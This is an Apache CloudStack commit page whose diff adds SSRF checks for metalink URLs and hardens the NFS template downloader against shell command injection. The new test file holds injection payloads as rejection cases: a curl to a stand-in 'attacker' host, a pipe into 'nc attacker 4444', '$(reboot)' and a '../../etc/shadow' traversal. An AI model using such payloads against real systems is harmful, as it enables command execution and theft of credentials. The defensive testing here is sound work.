Skip to content

Commit 07e09db

Browse files
Pearl Dsilvashwstppr
Pearl Dsilva
authored and
shwstppr
committed
Fix issue in direct download and NFS templates
1 parent 3eb928b commit 07e09db

9 files changed

Lines changed: 384 additions & 28 deletions

File tree

‎api/src/main/java/org/apache/cloudstack/direct/download/DirectDownloadManager.java‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -59,6 +59,16 @@ public interface DirectDownloadManager extends DirectDownloadService, PluggableS
5959
"Requesting a connection from connection manager timeout in milliseconds for direct download",
6060
true);
6161

62+
ConfigKey<String> DirectDownloadMetalinkAllowedHostsAndCidrs = new ConfigKey<>("Advanced", String.class,
63+
"direct.download.metalink.allowed.hosts.and.cidrs",
64+
"",
65+
"Comma-separated list of hosts and CIDR ranges permitted as inner URL targets inside metalink files. "
66+
+ "Each entry may be a CIDR range (e.g. \"10.0.0.0/8\"), an exact hostname or IP "
67+
+ "(e.g. \"storage.corp.com\"), or a wildcard domain suffix (e.g. \"*.mylocal.net\"). "
68+
+ "By default all private/site-local addresses are blocked to prevent SSRF. "
69+
+ "Loopback and link-local addresses are always blocked regardless of this setting.",
70+
true);
71+
6272
class HostCertificateStatus {
6373
public enum CertificateStatus {
6474
REVOKED, FAILED, SKIPPED, UPLOADED

‎core/src/main/java/com/cloud/storage/template/MetalinkTemplateDownloader.java‎

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -133,6 +133,13 @@ public long download(boolean resume, DownloadCompleteCallback callback) {
133133
int i = 0;
134134
while (!downloaded && i < metalinkUrls.size()) {
135135
String url = metalinkUrls.get(i);
136+
try {
137+
UriUtils.validateMetalinkInnerUrl(url);
138+
} catch (IllegalArgumentException e) {
139+
logger.warn(String.format("Skipping metalink inner URL that failed SSRF validation: %s - %s", url, e.getMessage()));
140+
i++;
141+
continue;
142+
}
136143
request = createRequest(url);
137144
downloaded = downloadTemplate();
138145
i++;

‎core/src/main/java/org/apache/cloudstack/agent/directdownload/DirectDownloadCommand.java‎

Lines changed: 10 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -19,6 +19,7 @@
1919

2020
package org.apache.cloudstack.agent.directdownload;
2121

22+
import java.util.List;
2223
import java.util.Map;
2324

2425
import org.apache.cloudstack.storage.command.StorageSubSystemCommand;
@@ -44,8 +45,8 @@ public enum DownloadProtocol {
4445
private Integer connectionRequestTimeout;
4546
private Long templateSize;
4647
private Storage.ImageFormat format;
47-
4848
private boolean followRedirects;
49+
private List<String> allowedCidrs;
4950

5051
protected DirectDownloadCommand (final String url, final Long templateId, final PrimaryDataStoreTO destPool,
5152
final String checksum, final Map<String, String> headers, final Integer connectTimeout,
@@ -150,4 +151,12 @@ public boolean isFollowRedirects() {
150151
public void setFollowRedirects(boolean followRedirects) {
151152
this.followRedirects = followRedirects;
152153
}
154+
155+
public List<String> getAllowedCidrs() {
156+
return allowedCidrs;
157+
}
158+
159+
public void setAllowedCidrs(List<String> allowedCidrs) {
160+
this.allowedCidrs = allowedCidrs;
161+
}
153162
}

‎core/src/main/java/org/apache/cloudstack/direct/download/DirectDownloadHelper.java‎

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -27,6 +27,8 @@
2727
import org.apache.logging.log4j.LogManager;
2828
import org.apache.logging.log4j.Logger;
2929

30+
import java.util.Collections;
31+
3032
public class DirectDownloadHelper {
3133

3234
protected static Logger LOGGER = LogManager.getLogger(DirectDownloadHelper.class);
@@ -50,7 +52,8 @@ public static DirectTemplateDownloader getDirectTemplateDownloaderFromCommand(Di
5052
} else if (cmd instanceof MetalinkDirectDownloadCommand) {
5153
return new MetalinkDirectTemplateDownloader(cmd.getUrl(), destPoolLocalPath, cmd.getTemplateId(),
5254
cmd.getChecksum(), cmd.getHeaders(), cmd.getConnectTimeout(), cmd.getSoTimeout(),
53-
temporaryDownloadPath, cmd.isFollowRedirects());
55+
temporaryDownloadPath, cmd.isFollowRedirects(),
56+
cmd.getAllowedCidrs() != null ? cmd.getAllowedCidrs() : Collections.emptyList());
5457
} else {
5558
throw new IllegalArgumentException("Unsupported protocol, please provide HTTP(S), NFS or a metalink");
5659
}

‎core/src/main/java/org/apache/cloudstack/direct/download/MetalinkDirectTemplateDownloader.java‎

Lines changed: 48 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -19,12 +19,14 @@
1919
package org.apache.cloudstack.direct.download;
2020

2121
import com.cloud.utils.Pair;
22+
import com.cloud.utils.UriUtils;
2223
import com.cloud.utils.exception.CloudRuntimeException;
2324
import org.apache.commons.collections.CollectionUtils;
2425

2526
import org.apache.commons.lang3.StringUtils;
2627

2728
import java.io.File;
29+
import java.util.Collections;
2830
import java.util.List;
2931
import java.util.Map;
3032
import java.util.Random;
@@ -37,6 +39,7 @@ public class MetalinkDirectTemplateDownloader extends DirectTemplateDownloaderIm
3739
private Map<String, String> headers;
3840
private Integer connectTimeout;
3941
private Integer soTimeout;
42+
private List<String> allowedCidrs = Collections.emptyList();
4043

4144
protected DirectTemplateDownloader createDownloaderForMetalinks(String url, Long templateId,
4245
String destPoolPath, String checksum, Map<String, String> headers, Integer connectTimeout,
@@ -49,24 +52,33 @@ protected DirectTemplateDownloader createDownloaderForMetalinks(String url, Long
4952
return new HttpDirectTemplateDownloader(url, templateId, destPoolPath, checksum, headers,
5053
connectTimeout, soTimeout, temporaryDownloadPath, this.isFollowRedirects());
5154
} else if (url.toLowerCase().startsWith("nfs:")) {
52-
return new NfsDirectTemplateDownloader(url);
55+
return new NfsDirectTemplateDownloader(url, destPoolPath, templateId, checksum, temporaryDownloadPath);
5356
} else {
54-
logger.error(String.format("Cannot find a suitable downloader to handle the metalink URL %s", url));
57+
logger.error(String.format("Cannot find a suitable downloader to handle the metalink URL %s."
58+
+ " Only http and https schemes are permitted inside metalink files.", url));
5559
return null;
5660
}
5761
}
5862

5963
protected MetalinkDirectTemplateDownloader(String url, Integer connectTimeout, Integer socketTimeout, boolean followRedirects) {
60-
this(url, null, null, null, null, connectTimeout, socketTimeout, null, followRedirects);
64+
this(url, null, null, null, null, connectTimeout, socketTimeout, null, followRedirects, java.util.Collections.emptyList());
6165
}
6266

6367
public MetalinkDirectTemplateDownloader(String url, String destPoolPath, Long templateId, String checksum,
6468
Map<String, String> headers, Integer connectTimeout, Integer soTimeout, String downloadPath,
6569
boolean followRedirects) {
70+
this(url, destPoolPath, templateId, checksum, headers, connectTimeout, soTimeout, downloadPath, followRedirects,
71+
java.util.Collections.emptyList());
72+
}
73+
74+
public MetalinkDirectTemplateDownloader(String url, String destPoolPath, Long templateId, String checksum,
75+
Map<String, String> headers, Integer connectTimeout, Integer soTimeout, String downloadPath,
76+
boolean followRedirects, List<String> allowedCidrs) {
6677
super(url, destPoolPath, templateId, checksum, downloadPath, followRedirects);
6778
this.headers = headers;
6879
this.connectTimeout = connectTimeout;
6980
this.soTimeout = soTimeout;
81+
this.allowedCidrs = allowedCidrs != null ? allowedCidrs : java.util.Collections.emptyList();
7082
downloader = createDownloaderForMetalinks(url, templateId, destPoolPath, checksum, headers,
7183
connectTimeout, soTimeout, null, downloadPath);
7284
metalinkUrls = downloader.getMetalinkUrls(url);
@@ -81,6 +93,10 @@ public MetalinkDirectTemplateDownloader(String url, String destPoolPath, Long te
8193
}
8294
}
8395

96+
public List<String> getAllowedCidrs() {
97+
return allowedCidrs;
98+
}
99+
84100
@Override
85101
public Pair<Boolean, String> downloadTemplate() {
86102
if (StringUtils.isBlank(getUrl())) {
@@ -93,10 +109,17 @@ public Pair<Boolean, String> downloadTemplate() {
93109
if (!isRedownload()) {
94110
setUrl(metalinkUrls.get(i));
95111
}
112+
try {
113+
UriUtils.validateMetalinkInnerUrl(getUrl(), allowedCidrs);
114+
} catch (IllegalArgumentException e) {
115+
logger.warn(String.format("Skipping metalink inner URL that failed SSRF validation: %s - %s", getUrl(), e.getMessage()));
116+
i++;
117+
continue;
118+
}
96119
logger.info("Trying to download Template from URL: " + getUrl());
97-
DirectTemplateDownloader urlDownloader = createDownloaderForMetalinks(getUrl(), getTemplateId(), getDestPoolPath(),
98-
getChecksum(), headers, connectTimeout, soTimeout, null, temporaryDownloadPath);
99120
try {
121+
DirectTemplateDownloader urlDownloader = createDownloaderForMetalinks(getUrl(), getTemplateId(), getDestPoolPath(),
122+
getChecksum(), headers, connectTimeout, soTimeout, null, temporaryDownloadPath);
100123
setDownloadedFilePath(downloadDir + File.separator + getTemporaryFileName());
101124
File f = new File(getDownloadedFilePath());
102125
if (f.exists()) {
@@ -139,8 +162,20 @@ public boolean checkUrl(String metalinkUrl) {
139162
if (url.endsWith(".torrent")) {
140163
continue;
141164
}
142-
DirectTemplateDownloader urlDownloader = createDownloaderForMetalinks(url, null, null, null, headers, connectTimeout, soTimeout, null, null);
143-
if (!urlDownloader.checkUrl(url)) {
165+
try {
166+
UriUtils.validateMetalinkInnerUrl(url, allowedCidrs);
167+
} catch (IllegalArgumentException e) {
168+
logger.warn(String.format("Skipping metalink inner URL that failed SSRF validation in checkUrl: %s - %s", url, e.getMessage()));
169+
continue;
170+
}
171+
DirectTemplateDownloader urlDownloader;
172+
try {
173+
urlDownloader = createDownloaderForMetalinks(url, null, null, null, headers, connectTimeout, soTimeout, null, null);
174+
} catch (Exception e) {
175+
logger.warn(String.format("Skipping metalink inner URL that failed validation in checkUrl: %s - %s", url, e.getMessage()));
176+
continue;
177+
}
178+
if (urlDownloader == null || !urlDownloader.checkUrl(url)) {
144179
return false;
145180
}
146181
}
@@ -154,6 +189,12 @@ public Long getRemoteFileSize(String metalinkUrl, String format) {
154189
if (url.endsWith("torrent")) {
155190
continue;
156191
}
192+
try {
193+
UriUtils.validateMetalinkInnerUrl(url, allowedCidrs);
194+
} catch (IllegalArgumentException e) {
195+
logger.warn(String.format("Skipping metalink inner URL that failed SSRF validation in getRemoteFileSize: %s - %s ", url, e.getMessage()));
196+
continue;
197+
}
157198
if (downloader.checkUrl(url)) {
158199
return downloader.getRemoteFileSize(url, format);
159200
}

‎core/src/main/java/org/apache/cloudstack/direct/download/NfsDirectTemplateDownloader.java‎

Lines changed: 70 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -28,31 +28,50 @@
2828
import java.net.URISyntaxException;
2929
import java.util.List;
3030
import java.util.UUID;
31+
import java.util.regex.Pattern;
3132

3233
public class NfsDirectTemplateDownloader extends DirectTemplateDownloaderImpl {
3334

3435
private String srcHost;
3536
private String srcPath;
3637

37-
private static final String mountCommand = "mount -t nfs %s %s";
38+
// srcHost and srcPath are used to build mount/cp commands; restrict them to safe
39+
// characters so a crafted NFS url cannot smuggle shell metacharacters into the agent.
40+
// Host must start with an alphanumeric character and the path must start with '/' so
41+
// neither can be interpreted as a command-line option (argument confusion).
42+
private static final Pattern SRC_HOST_PATTERN = Pattern.compile("^[A-Za-z0-9][A-Za-z0-9._-]*$");
43+
private static final Pattern SRC_PATH_PATTERN = Pattern.compile("^/[A-Za-z0-9/._-]*$");
44+
// SRC_PATH_PATTERN allows '.' and '/' individually, so a ".." segment would still pass;
45+
// reject path traversal explicitly.
46+
private static final Pattern PATH_TRAVERSAL_PATTERN = Pattern.compile("(^|/)\\.\\.(/|$)");
3847

3948
/**
4049
* Parse url and set srcHost and srcPath
4150
*/
4251
private void parseUrl() {
43-
URI uri = null;
4452
String url = getUrl();
4553
try {
46-
uri = new URI(UriUtils.encodeURIComponent(url));
54+
URI uri = new URI(UriUtils.encodeURIComponent(url));
4755
if (uri.getScheme() != null && uri.getScheme().equalsIgnoreCase("nfs")) {
4856
srcHost = uri.getHost();
4957
srcPath = uri.getPath();
58+
validateHostAndPath(url);
5059
}
5160
} catch (URISyntaxException e) {
5261
throw new CloudRuntimeException("Invalid NFS url " + url + " caused error: " + e.getMessage());
5362
}
5463
}
5564

65+
private void validateHostAndPath(String url) {
66+
if (srcHost == null || !SRC_HOST_PATTERN.matcher(srcHost).matches()) {
67+
throw new CloudRuntimeException("Invalid host in NFS url: " + url);
68+
}
69+
if (srcPath == null || !SRC_PATH_PATTERN.matcher(srcPath).matches()
70+
|| PATH_TRAVERSAL_PATTERN.matcher(srcPath).find()) {
71+
throw new CloudRuntimeException("Invalid path in NFS url: " + url);
72+
}
73+
}
74+
5675
protected NfsDirectTemplateDownloader(String url) {
5776
this(url, null, null, null, null);
5877
}
@@ -66,12 +85,54 @@ public NfsDirectTemplateDownloader(String url, String destPool, Long templateId,
6685
@Override
6786
public Pair<Boolean, String> downloadTemplate() {
6887
String mountSrcUuid = UUID.randomUUID().toString();
69-
String mount = String.format(mountCommand, srcHost + ":" + srcPath, "/mnt/" + mountSrcUuid);
70-
Script.runSimpleBashScript(mount);
71-
String downloadDir = getDestPoolPath() + File.separator + getDirectDownloadTempPath(getTemplateId());
72-
setDownloadedFilePath(downloadDir + File.separator + getTemporaryFileName());
73-
Script.runSimpleBashScript("cp /mnt/" + mountSrcUuid + srcPath + " " + getDownloadedFilePath());
74-
Script.runSimpleBashScript("umount /mnt/" + mountSrcUuid);
88+
String mountPoint = "/mnt/" + mountSrcUuid;
89+
90+
// Build each command from discrete arguments (no shell) so srcHost/srcPath cannot be
91+
// interpreted as shell metacharacters even if they slip past validation. "--" separates
92+
// options from positional arguments so a value cannot be mistaken for an option.
93+
File mountDir = new File(mountPoint);
94+
if (!mountDir.exists() && !mountDir.mkdirs()) {
95+
throw new CloudRuntimeException("Failed to create mount point " + mountPoint);
96+
}
97+
98+
// NFS can only mount an exported directory, never an individual file, so mount the
99+
// parent directory of srcPath and copy the filename relative to the mount point.
100+
int lastSlash = srcPath.lastIndexOf('/');
101+
String parentPath = lastSlash > 0 ? srcPath.substring(0, lastSlash) : "/";
102+
String fileName = srcPath.substring(lastSlash + 1);
103+
104+
Script mount = new Script("mount", logger);
105+
mount.add("-t", "nfs");
106+
mount.add("--");
107+
mount.add(srcHost + ":" + parentPath);
108+
mount.add(mountPoint);
109+
String result = mount.execute();
110+
if (result != null) {
111+
throw new CloudRuntimeException(String.format("Failed to mount NFS source %s:%s : %s", srcHost, parentPath, result));
112+
}
113+
114+
try {
115+
String downloadDir = getDestPoolPath() + File.separator + getDirectDownloadTempPath(getTemplateId());
116+
setDownloadedFilePath(downloadDir + File.separator + getTemporaryFileName());
117+
118+
Script copy = new Script("cp", logger);
119+
copy.add("--");
120+
copy.add(mountPoint + "/" + fileName);
121+
copy.add(getDownloadedFilePath());
122+
String copyResult = copy.execute();
123+
if (copyResult != null) {
124+
throw new CloudRuntimeException(String.format("Failed to copy template from NFS source %s:%s : %s", srcHost, srcPath, copyResult));
125+
}
126+
} finally {
127+
Script umount = new Script("umount", logger);
128+
umount.add("--");
129+
umount.add(mountPoint);
130+
String umountResult = umount.execute();
131+
if (umountResult != null) {
132+
logger.warn(String.format("Failed to unmount %s : %s", mountPoint, umountResult));
133+
}
134+
}
135+
75136
return new Pair<>(true, getDownloadedFilePath());
76137
}
77138

‎core/src/test/java/org/apache/cloudstack/direct/download/NfsDirectTemplateDownloaderTest.java‎

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
//
2+
// Licensed to the Apache Software Foundation (ASF) under one
3+
// or more contributor license agreements. See the NOTICE file
4+
// distributed with this work for additional information
5+
// regarding copyright ownership. The ASF licenses this file
6+
// to you under the Apache License, Version 2.0 (the
7+
// "License"); you may not use this file except in compliance
8+
// with the License. You may obtain a copy of the License at
9+
//
10+
// http://www.apache.org/licenses/LICENSE-2.0
11+
//
12+
// Unless required by applicable law or agreed to in writing,
13+
// software distributed under the License is distributed on an
14+
// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
15+
// KIND, either express or implied. See the License for the
16+
// specific language governing permissions and limitations
17+
// under the License.
18+
//
19+
package org.apache.cloudstack.direct.download;
20+
21+
import com.cloud.utils.exception.CloudRuntimeException;
22+
import org.junit.Assert;
23+
import org.junit.Test;
24+
25+
public class NfsDirectTemplateDownloaderTest {
26+
27+
@Test
28+
public void testValidNfsUrlIsAccepted() {
29+
// A well-formed NFS url must parse without error.
30+
new NfsDirectTemplateDownloader("nfs://10.0.0.1/export/templates/tmpl.qcow2");
31+
}
32+
33+
@Test
34+
public void testRejectsSemicolonInPath() {
35+
assertRejected("nfs://10.0.0.1/a;curl http://attacker/x");
36+
}
37+
38+
@Test
39+
public void testRejectsCommandSubstitutionInPath() {
40+
assertRejected("nfs://10.0.0.1/$(reboot)");
41+
}
42+
43+
@Test
44+
public void testRejectsBacktickInPath() {
45+
assertRejected("nfs://10.0.0.1/`reboot`");
46+
}
47+
48+
@Test
49+
public void testRejectsPipeInPath() {
50+
assertRejected("nfs://10.0.0.1/a|nc attacker 4444");
51+
}
52+
53+
@Test
54+
public void testRejectsHostStartingWithDash() {
55+
// A leading '-' could be mistaken for a mount option (argument confusion).
56+
assertRejected("nfs://-oremount/export/tmpl.qcow2");
57+
}
58+
59+
@Test
60+
public void testRejectsPathTraversal() {
61+
// '.' and '/' are allowed individually, but a ".." segment must not slip through.
62+
assertRejected("nfs://10.0.0.1/export/../../etc/shadow");
63+
}
64+
65+
private void assertRejected(String url) {
66+
try {
67+
new NfsDirectTemplateDownloader(url);
68+
Assert.fail("Expected CloudRuntimeException for url: " + url);
69+
} catch (CloudRuntimeException expected) {
70+
// metacharacters must be rejected during url parsing
71+
}
72+
}
73+
}

0 commit comments

Comments
 (0)